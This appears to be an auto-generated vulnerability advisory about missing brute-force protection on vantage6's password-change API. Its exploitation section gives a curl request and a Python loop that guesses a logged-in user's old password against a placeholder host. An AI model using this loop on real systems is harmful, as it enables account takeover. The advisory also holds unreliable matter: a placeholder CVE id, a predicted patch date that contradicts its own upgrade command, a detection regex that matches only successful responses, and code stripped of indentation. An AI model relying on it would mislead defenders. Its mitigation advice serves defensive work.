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How the CVE Works
The CVE-2025-XXXXX vulnerability in vantage6 allows attackers to bypass brute-force protection when changing passwords. An authenticated attacker can repeatedly submit password change requests without rate-limiting or lockout mechanisms. The system only responds with an error message until the correct password is guessed, enabling brute-force attacks. This flaw exists due to insufficient server-side validation in the password change API endpoint (/api/password/change). Attackers exploiting this can compromise user accounts by systematically guessing passwords.
DailyCVE Form
Platform: vantage6
Version: <4.11.0
Vulnerability: Brute-force bypass
Severity: Critical
Date: Jun 12, 2025
Prediction: Patch expected by Jun 20, 2025
What Undercode Say:
Exploitation
1. Identify Target Endpoint:
curl -X POST https://target.com/api/password/change -H "Cookie: session=VALID_SESSION" -d '{"old_pass":"guess","new_pass":"temp"}'
2. Automate Brute-Force:
import requests
for password in password_list:
r = requests.post("https://target.com/api/password/change", cookies={"session":"VALID_SESSION"}, json={"old_pass":password, "new_pass":"hacked"})
if "success" in r.text:
print(f"Password found: {password}")
break
Protection
1. Rate Limiting:
limit_req_zone $binary_remote_addr zone=passchange:10m rate=5r/m;
location /api/password/change {
limit_req zone=passchange burst=3;
}
2. Account Lockout:
if failed_attempts >= 5: lock_account(user)
3. Patch Immediately:
pip install vantage6==4.11.0 --upgrade
Log Analysis
grep "POST /api/password/change" /var/log/vantage6/access.log | awk '{print $1}' | sort | uniq -c | sort -nr
Mitigation Steps
- Enforce multi-factor authentication (MFA).
- Monitor suspicious login attempts.
- Implement CAPTCHA for password changes.
Detection Script
import re
log = open("auth.log").read()
if re.findall(r"POST /api/password/change. 200", log):
print("Possible brute-force attack detected!")
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
